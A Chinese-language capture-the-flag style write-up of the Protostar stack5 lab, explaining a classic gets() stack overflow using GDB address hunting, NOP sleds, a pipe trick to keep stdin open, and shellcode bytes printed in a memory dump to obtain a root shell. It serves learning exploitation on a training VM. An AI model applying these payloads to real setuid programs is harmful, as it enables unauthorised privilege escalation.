1 概述
传统栈溢出有这些特点:
没有ASLR
没有NX
题目来自https://exploit-exercises.com/protostar/stack5/
本来觉得很简单的,还是纠结了半天。
Exploit-exercise-protostar-stack5的第一个坑就是setuid程序的core dump没有打开。需要这样操作:
su - root #password:godmode
echo 1 > /proc/sys/fs/suid_dumpable #设置生成core文件
第二个坑就是gets缓冲区溢出需要进行特别的处理,使用特定的shellcode(关闭并重新打开stdin)或者使用管道。
2 Exp1
思路:shellcode放入缓冲区中;
GDB调试获取缓冲区地址为:0xbffffc70
编写代码pwn1.py
注意:shellcode_addr = 0xbffffc70;
GDB调试发现最终执行了/bin/dash
$ python ~/pwn1.py > ~/pwn1.b $ gdb ./stack5 (gdb) r < ~/pwn1.b Starting program: /opt/protostar/bin/stack5 < ~/pwn1.b Executing new program: /bin/dash
Program exited normally. (gdb) q |
但是,不使用GDB时挂了
$ ulimit -c unlimited
$ ( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5
Illegal instruction (core dumped)
GDB调试发现缓冲区地址实际为0xbffffc90:
注意:非GDB运行和GDB运行,缓冲区的地址会有变化;
(gdb) x/64bx 0xbffffc90 0xbffffc90: 0xaa 0x46 0x58 0x31 0xdb 0x31 0xc9 0xcd 0xbffffc98: 0x80 0x51 0x68 0x2f 0x2f 0x73 0x68 0x68 0xbffffca0: 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x51 0x53 0xbffffca8: 0x89 0xe1 0x6a 0x0b 0x58 0x99 0xcd 0x80 0xbffffcb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffffcb8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffffcc0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffffcc8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 |
现在修改缓冲区地址,后执行
shellcode_addr = 0xbffffc90;
$ ( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5 whoami root exit |
注意:这里使用的”()”会生成一个子shell;
子shell中执行两条命令。
第一条命令将payload输出到标准输出,通过管道传输给stack5;
第二个命令cat从标准输入中读取数据输出到标准输出,也会通过管道传输给stack5;
使用<读取文件时结果是这样的:
$ python ~/pwn1.py > ~/pwn1.b $ /opt/protostar/bin/stack5 < ~/pwn1.b $ echo $? 0 |
程序拿到shell后,由于标准输入来自文件,已经读完了,因此直接退出了。
可以用strace观察到。
注意:
l Shellcode放到了缓冲区中,但是缓冲区的位置不是确定的,需要生成core后GDB调试获取;
l 缓冲区的位置可能在系统重启后不一样;
l 可以使用NOP Slot来消除这种不确定性。
l shellcode本身需要用到栈,如果缓冲区很小,则会shellcode的入栈会破坏shellcode代码。
3 EXP2
思路:
Shellcode放在返回地址后面,前面跟上NOP Slot;这可以消除缓冲区位置的不确定性。
结果
$ ( python ~/pwn2.py ; cat ) | /opt/protostar/bin/stack5 whoami root exit |
4 Gets缓冲区溢出
对于gets缓冲区溢出,使用一般的shellcode搞不定:stdin应该被关闭和重新打开。
还有一种方式是使用管道,如下:
( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5
现在使用新的shellcode,来自https://www.exploit-db.com/exploits/13357/。
pwn3.py
可以使用<进行重定向了:
$ python ~/pwn3.py > ~/pwn3.b $ /opt/protostar/bin/stack5 < ~/pwn3.b # whoami root # exit |
5 结论
l GDB环境与非GDB环境下运行程序时,栈缓冲区的位置不一样;非GDB环境下的地址大于GDB环境下的地址;
l 可以使用NOP Slot来消除栈缓冲区位置的不确定性;
l gets缓冲区溢出需要进行特别的处理;
使用特定的shellcode(关闭并重新打开stdin)或者使用管道;
使用管道的示例:
( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5
6 参考文章
1. https://exploit-exercises.com/protostar/stack5/
2. http://sh3llc0d3r.com/protostar-exploit-exercises-stack5/